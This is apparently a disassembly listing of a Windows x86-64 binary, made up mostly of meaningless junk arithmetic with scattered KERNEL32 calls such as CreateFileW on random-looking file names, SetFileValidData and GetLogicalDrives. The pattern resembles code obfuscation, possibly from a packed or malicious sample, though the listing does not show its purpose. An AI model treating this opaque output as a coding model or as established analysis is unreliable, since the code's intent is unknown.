or eax, ecx
mov word [rsp + 0x2c8c], ax
lea rdx, [rsp + 0x1a468]
mov rcx, qword [rsp + 0x19fe8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd524], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.PDHL1C4VCX3Ru
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b1e0], rax
movsx eax, byte [rsp + 0x6f]
movsx ecx, byte [0x1402bf644]
and eax, ecx
mov byte [rsp + 0x64f], al
mov edx, 0x7a181e
mov rcx, qword [rsp + 0x1a7a0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xdcf0], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3c88]
imul eax, ecx
mov word [rsp + 0x2424], ax
lea rax, [rsp + 0x7f1]
mov qword [rsp + 0x1b1e8], rax
mov rax, qword [0x1402bf480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7c4], eax
mov eax, dword [rsp + 0xe130]
mov ecx, dword [rsp + 0xce60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb54], eax
movzx eax, byte [rsp + 0x84a]
mov byte [rsp + 0x8fe], al
movzx eax, word [rsp + 0x2db4]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402bf6d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1ad60]
mov rcx, qword [rsp + 0x1a5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f8c], eax
lea rax, [rsp + 0x8ffc]
mov qword [rsp + 0x1b1f0], rax
mov eax, dword [rsp + 0xd21c]
mov ecx, dword [0x1402ad6dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2b4], eax
mov rax, qword [rsp + 0x1ad28]
mov rcx, qword [rsp + 0x1afb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd9bc], eax
movzx eax, byte [rsp + 0x63e]
mov byte [rsp + 0x8ff], al
mov rax, qword [0x1402bf330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36ac], ax
mov rax, qword [rsp + 0x19ca0]
mov ecx, dword [rsp + 0xcf28]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc010], eax
mov eax, dword [rsp + 0x8ffc]
mov rcx, qword [rsp + 0x1b0e8]
mov qword [rsp + 0x1b1f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b1f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd384], eax
lea rax, [rsp + 0x8ba]
mov qword [0x1402bf2c8], rax
mov rax, qword [rsp + 0x19f90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19f90]
mov word [rcx], ax
mov rax, qword [0x1402bf518]
movzx eax, byte [rax]
mov byte [rsp + 0x900], al
movzx eax, word [rsp + 0x3858]
movzx ecx, word [rsp + 0x3b30]
shl eax, cl
mov word [rsp + 0x3bd4], ax
lea rax, [rsp + 0x8a04]
mov qword [rsp + 0x1b200], rax
mov rax, qword [rsp + 0x1a528]
mov ecx, dword [0x1402ad7d0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa960], eax
mov eax, dword [rsp + 0xdf68]
mov ecx, dword [rsp + 0xdf3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd358], eax
mov eax, dword [rsp + 0xdd9c]
mov dword [rsp + 0xe1c0], eax
mov rax, qword [0x1402bf4b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2a4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a938]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ae08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1aa20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2708], ax
movzx eax, byte [rsp + 0x8e0]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402bf711], al
mov rax, qword [rsp + 0x1a9d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdaa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd404], eax
lea rax, [rsp + 0xd054]
mov qword [rsp + 0x1b208], rax
mov rax, qword [rsp + 0x19cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xba54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xca38], eax
mov eax, dword [rsp + 0xe168]
mov ecx, dword [rsp + 0xab6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd344], eax
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov word [rsp + 0x3cc0], ax
lea rcx, str.Gsdva4cMu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3bc4], ax
mov rax, qword [rsp + 0x1a4f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x82c], al
movzx eax, word [rsp + 0x3a04]
mov word [rsp + 0x3cc4], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x199d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1aa88]
mov byte [rcx], al
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd07c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.OauH8slSEYSKwlNv2G
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1b210], rax
mov rax, qword [rsp + 0x1a3a0]
mov rcx, qword [0x1402bf3f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad99c], eax
mov eax, dword [rsp + 0xb984]
mov rcx, qword [rsp + 0x1b028]
mov qword [rsp + 0x1b218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b218]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xe1bc], eax
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1ae70]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c58], ax
mov rax, qword [0x1402bf448]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x41d], al
mov rax, qword [rsp + 0x1a1e8]
mov eax, dword [rax]
mov dword [rsp + 0xe1c4], eax
mov rax, qword [rsp + 0x19f88]
mov rcx, qword [rsp + 0x1afb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1ada8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd0f0]
mov ecx, dword [0x1402ad668]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8dc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
lea rcx, [rsp + 0x2aff0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x1acd8]
mov eax, dword [rax]
mov dword [rsp + 0xe1c8], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd67c], eax
mov rax, qword [rsp + 0x1a4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a5d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0x1af98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1b008]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402bf358]
mov byte [rcx], al
mov rax, qword [rsp + 0x1aea0]
mov eax, dword [rax]
mov dword [rsp + 0xe1cc], eax
mov rax, qword [rsp + 0x1a098]
mov ecx, dword [0x1402ad6fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd4b4], eax
mov rax, qword [rsp + 0x1aad0]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd348], eax
lea rax, [rsp + 0xa1c8]
mov qword [rsp + 0x1b220], rax
mov rax, qword [rsp + 0x19a60]
mov rcx, qword [0x1402bf750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19f10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19dd0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d04], ax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a870]
mov byte [rcx], al
movzx eax, word [0x1402ad6d0]
mov word [rsp + 0x3cc8], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402accab], al
mov rax, qword [rsp + 0x1a608]
mov rcx, qword [0x1402bf5d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xddc0], eax
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a20]
mov qword [rsp + 0x1b228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b228]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xc754], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xe1d0], eax
movzx eax, word [rsp + 0x38cc]
mov word [rsp + 0x3ccc], ax
movzx eax, byte [rsp + 0x7c3]
movzx ecx, byte [rsp + 0x273]
shl eax, cl
mov byte [rsp + 0x8b9], al
lea rax, [rsp + 0x8754]
mov qword [rsp + 0x1b230], rax
mov eax, dword [rsp + 0xcfe8]
mov ecx, dword [rsp + 0xcfdc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc220], eax
mov rax, qword [rsp + 0x1a8d8]
mov ecx, dword [rsp + 0xe15c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xe00c], eax
lea rax, [rsp + 0xd504]
mov qword [rsp + 0x1b238], rax
movzx eax, byte [rsp + 0x7a3]
movzx ecx, byte [rsp + 0x6c8]
and eax, ecx
mov rcx, qword [0x1402bf500]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a240]
movzx eax, word [rax]
movzx ecx, word [0x1402ad670]
sub eax, ecx
mov rcx, qword [rsp + 0x1a8e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1ada8]
mov ecx, dword [rsp + 0x86e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x90f0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd720], eax
movsx eax, byte [rsp + 0x889]
mov rcx, qword [rsp + 0x1aaf0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83b], al
movzx eax, word [rsp + 0x36e0]
mov word [rsp + 0x3cd0], ax
movzx eax, word [rsp + 0x3cc0]
mov rcx, qword [0x1402bf428]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3618], ax
movzx eax, byte [rsp + 0x8a7]
mov byte [rsp + 0x901], al
mov rax, qword [rsp + 0x1a380]
mov rcx, qword [rsp + 0x19f58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fd4], eax
lea rax, [rsp + 0xdef4]
mov qword [0x1402bf2c0], rax
mov eax, dword [rsp + 0xd5b4]
mov ecx, dword [rsp + 0xde90]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9778], eax
mov rax, qword [rsp + 0x1a528]
mov ecx, dword [rsp + 0xda20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdf78], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xde20]
shl eax, cl
mov dword [rsp + 0xdd68], eax
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0x902], al
movzx eax, word [rsp + 0x3a2c]
movzx ecx, word [rsp + 0x22f8]
xor eax, ecx
mov word [rsp + 0x3c34], ax
mov eax, dword [0x1402ad804]
mov dword [rsp + 0xe1d4], eax
mov rax, qword [rsp + 0x1a150]
mov ecx, dword [rsp + 0xdd98]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd518], eax
mov eax, dword [rsp + 0xe0ac]
mov rcx, qword [rsp + 0x198a8]
mov qword [rsp + 0x1b240], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b240]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd49c], eax
mov rax, qword [rsp + 0x1a938]
mov rcx, qword [rsp + 0x1a070]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad9a0], eax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a9f0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x36c4]
movzx ecx, word [0x1402ad884]
and eax, ecx
mov word [rsp + 0x3878], ax
movzx eax, word [rsp + 0x3978]
mov word [rsp + 0x3cd4], ax
lea rdx, [rsp + 0x2c040]
mov rcx, qword [rsp + 0x1ac28]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd1cc], eax
mov rax, qword [rsp + 0x1aa88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7af]
add eax, ecx
mov byte [rsp + 0x502], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xe1d8], eax
mov eax, dword [rsp + 0x8c70]
mov ecx, dword [rsp + 0xc1a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
lea rax, [rsp + 0xd864]
mov qword [rsp + 0x1b248], rax
movzx eax, word [rsp + 0x2c50]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x39d4], ax
mov rax, qword [0x1402bf358]
movzx eax, byte [rax]
mov byte [rsp + 0x903], al
mov rax, qword [rsp + 0x1a458]
mov rcx, qword [rsp + 0x1a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf740]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd670]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a260]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcef4]
mov ecx, dword [rsp + 0xd1c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdcc0], eax
mov rax, qword [rsp + 0x1a410]
mov eax, dword [rax]
mov dword [rsp + 0xe1dc], eax
mov rax, qword [rsp + 0x1a1f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26d8]
sub eax, ecx
mov word [rsp + 0x3794], ax
movzx eax, byte [rsp + 0x2e1]
movzx ecx, byte [rsp + 0x7e4]
imul eax, ecx
mov byte [rsp + 0x4f7], al
mov rax, qword [rsp + 0x19f50]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdfcc], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xe1e0], eax
mov rax, qword [0x1402bf4e0]
mov rcx, qword [rsp + 0x1ae20]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd0ac]
mov dword [0x1402bf2b8], eax
mov eax, dword [rsp + 0xd09c]
mov ecx, dword [rsp + 0xcee4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd678], eax
movzx eax, byte [rsp + 0x36e]
mov byte [rsp + 0x904], al
mov rax, qword [rsp + 0x1a470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3ba8]
shl eax, cl
mov word [rsp + 0x2234], ax
movzx eax, byte [rsp + 0x8eb]
movzx ecx, byte [0x1402acb3b]
sar eax, cl
mov byte [rsp + 0xb8], al
movzx eax, word [rsp + 0x38e8]
movzx ecx, word [rsp + 0x1980]
add eax, ecx
mov word [rsp + 0x26bc], ax
mov rax, qword [rsp + 0x1aa50]
mov rcx, qword [rsp + 0x19dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a3b0]
mov dword [rcx], eax
lea rax, [rsp + 0x81a4]
mov qword [rsp + 0x1b250], rax
movzx eax, byte [rsp + 0x7b8]
mov rcx, qword [rsp + 0x1a2e0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7da], al
movzx eax, word [rsp + 0x3a40]
mov rcx, qword [rsp + 0x1a8f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402bf428]
mov word [rcx], ax
mov rax, qword [0x1402bf480]
mov eax, dword [rax]
mov dword [rsp + 0xe1e4], eax
mov rax, qword [rsp + 0x1a738]
mov ecx, dword [rsp + 0xb7e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce00], eax
mov rax, qword [rsp + 0x1b0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb620]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdcf8], eax
mov eax, dword [rsp + 0xd908]
mov dword [rsp + 0xe1e8], eax
movzx eax, word [rsp + 0x39f0]
movzx ecx, word [rsp + 0x2644]
sub eax, ecx
mov word [rsp + 0x3cb0], ax
movzx eax, byte [rsp + 0x80f]
movzx ecx, byte [rsp + 0x390]
sub eax, ecx
mov byte [rsp + 0x6ae], al
mov rax, qword [rsp + 0x1ab78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdbd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc6c], eax
mov eax, dword [rsp + 0xd1b0]
mov dword [rsp + 0xe1ec], eax
mov rax, qword [rsp + 0x1a088]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89c]
add eax, ecx
mov byte [0x1402acb86], al
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xdcac], eax
mov rax, qword [rsp + 0x1afc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1acd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19dd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a1d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x41d], al
lea rax, [rsp + 0x2ab4]
mov qword [rsp + 0x1b258], rax
mov rax, qword [rsp + 0x19ef0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xe148]
shr eax, cl
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x1a368]
mov eax, dword [rax]
mov dword [rsp + 0xe1f0], eax
mov eax, dword [0x1402ad788]
movzx ecx, al
mov eax, dword [rsp + 0xac7c]
shl eax, cl
mov rcx, qword [rsp + 0x1a260]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1aef8]
mov rcx, qword [rsp + 0x19a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdaa4], eax
mov eax, dword [0x1402ad8c4]
mov ecx, dword [rsp + 0xd748]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fdc], eax
mov rax, qword [rsp + 0x1aa48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2768]
and eax, ecx
mov word [rsp + 0x36a4], ax
lea rax, [rsp + 0x58b]
mov qword [0x1402bf2b0], rax
mov eax, dword [rsp + 0x7ebc]
mov dword [rsp + 0xe1f4], eax
mov eax, dword [rsp + 0xdde0]
mov ecx, dword [rsp + 0xce2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdcc0], eax
mov rax, qword [rsp + 0x1ad78]
mov rcx, qword [rsp + 0x1a588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xda3c], eax
mov rax, qword [rsp + 0x1ada8]
mov eax, dword [rax]
mov dword [rsp + 0xe1f8], eax
mov rax, qword [0x1402bf430]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7d3], al
movzx eax, word [rsp + 0x3948]
mov word [rsp + 0x3cd8], ax
movsx eax, byte [rsp + 0x845]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x8b7], al
mov rax, qword [rsp + 0x1ab50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c8c]
sub eax, ecx
mov word [rsp + 0x36a8], ax
lea rax, [rsp + 0xcefc]
mov qword [0x1402bf2a8], rax
mov rax, qword [rsp + 0x19888]
mov ecx, dword [0x1402bf314]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x888c], eax
movzx eax, byte [rsp + 0x787]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x882], al
movzx eax, word [rsp + 0x3ad0]
mov word [rsp + 0x3cdc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xe140], eax
mov rax, qword [rsp + 0x1a260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x83c0], eax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov dword [rsp + 0xe1fc], eax
mov eax, dword [rsp + 0xd1b8]
mov ecx, dword [rsp + 0xb418]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb0c], eax
mov eax, dword [0x1402ad8d8]
mov rcx, qword [rsp + 0x1af30]
mov qword [rsp + 0x1b260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b260]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xdea0], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd3b4], eax
movzx eax, byte [rsp + 0x613]
cdq
mov ecx, 0x6e
idiv ecx
mov byte [rsp + 0x680], al
mov rax, qword [rsp + 0x1b128]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25e0]
or eax, ecx
mov rcx, qword [0x1402bf6d0]
mov word [rcx], ax
mov eax, dword [rsp + 0xdd80]
movzx ecx, al
mov eax, dword [0x1402ad834]
shl eax, cl
mov dword [rsp + 0xdd10], eax
mov eax, dword [rsp + 0xd164]
mov dword [rsp + 0xe200], eax
mov rax, qword [rsp + 0x19988]
mov rcx, qword [rsp + 0x1abc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb70c], eax
mov eax, dword [rsp + 0xbb0c]
mov ecx, dword [rsp + 0xd6d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc5c], eax
mov eax, dword [rsp + 0x8044]
mov dword [rsp + 0xe204], eax
movsx eax, byte [rsp + 0x502]
movsx ecx, byte [rsp + 0x1c1]
sub eax, ecx
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3304]
sub eax, ecx
mov word [rsp + 0x1a30], ax
movzx eax, byte [rsp + 0x2b4]
mov rcx, qword [rsp + 0x1a660]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d3], al
movzx eax, word [0x1402ad6a8]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402bf730]
mov word [rcx], ax
mov rax, qword [rsp + 0x1b200]
mov ecx, dword [rsp + 0xd288]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdc7c], eax
mov rax, qword [rsp + 0x1ac08]
mov eax, dword [rax]
mov dword [rsp + 0xe208], eax
movzx eax, byte [0x1402acb5b]
movzx ecx, byte [rsp + 0x8fc]
imul eax, ecx
mov rcx, qword [rsp + 0x19fd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x28dc]
mov word [rsp + 0x3ce0], ax
mov rax, qword [rsp + 0x1a098]
mov rcx, qword [rsp + 0x1a588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb7b8], eax
mov rax, qword [rsp + 0x1a5f0]
mov rcx, qword [rsp + 0x1ae00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a420]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcce0], eax
lea rax, [rsp + 0xdab0]
mov qword [rsp + 0x1b268], rax
mov rax, qword [rsp + 0x1a3c0]
mov rcx, qword [0x1402bf5c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19c30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a4e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402accae], al
mov rax, qword [rsp + 0x1a8f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a4a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [0x1402bf3f8]
mov rcx, qword [rsp + 0x1a4e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdf60], eax
mov eax, dword [rsp + 0xc22c]
mov dword [rsp + 0xe20c], eax
mov rax, qword [rsp + 0x1b060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x19ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1aa98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19e30]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1aa98]
mov byte [rcx], al
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov byte [rsp + 0x905], al
mov rax, qword [rsp + 0x1b258]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3c18], ax
mov eax, dword [rsp + 0xcdd4]
mov ecx, dword [rsp + 0xdbcc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x86ac], eax
mov rax, qword [rsp + 0x19e78]
mov ecx, dword [rsp + 0xe0e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402bf788], eax
mov eax, dword [rsp + 0xcedc]
mov ecx, dword [rsp + 0xd8d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc1c], eax
mov rax, qword [rsp + 0x1a150]
mov ecx, dword [rsp + 0xd0f8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19af0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ad30]
mov eax, dword [rax]
mov dword [rsp + 0xe210], eax
movzx eax, word [0x1402ad640]
movzx ecx, word [rsp + 0x28fc]
add eax, ecx
mov word [rsp + 0x1b88], ax
movzx eax, byte [rsp + 0x78d]
mov byte [rsp + 0x906], al
mov rax, qword [rsp + 0x1a428]
mov rcx, qword [rsp + 0x1add8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xca38], eax
mov rax, qword [rsp + 0x19bf8]
mov rcx, qword [rsp + 0x19e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xafcc], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov dword [rsp + 0xe214], eax
mov rax, qword [rsp + 0x19e08]
mov rcx, qword [rsp + 0x1a428]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad9a4], eax
movzx eax, word [rsp + 0x2944]
movzx ecx, word [rsp + 0x3798]
add eax, ecx
mov rcx, qword [rsp + 0x1a2e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x580]
mov rcx, qword [rsp + 0x1abc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [0x1402bf470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x37dc]
sar eax, cl
mov rcx, qword [rsp + 0x19ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19ee0]
movzx eax, byte [rax]
mov byte [rsp + 0x907], al
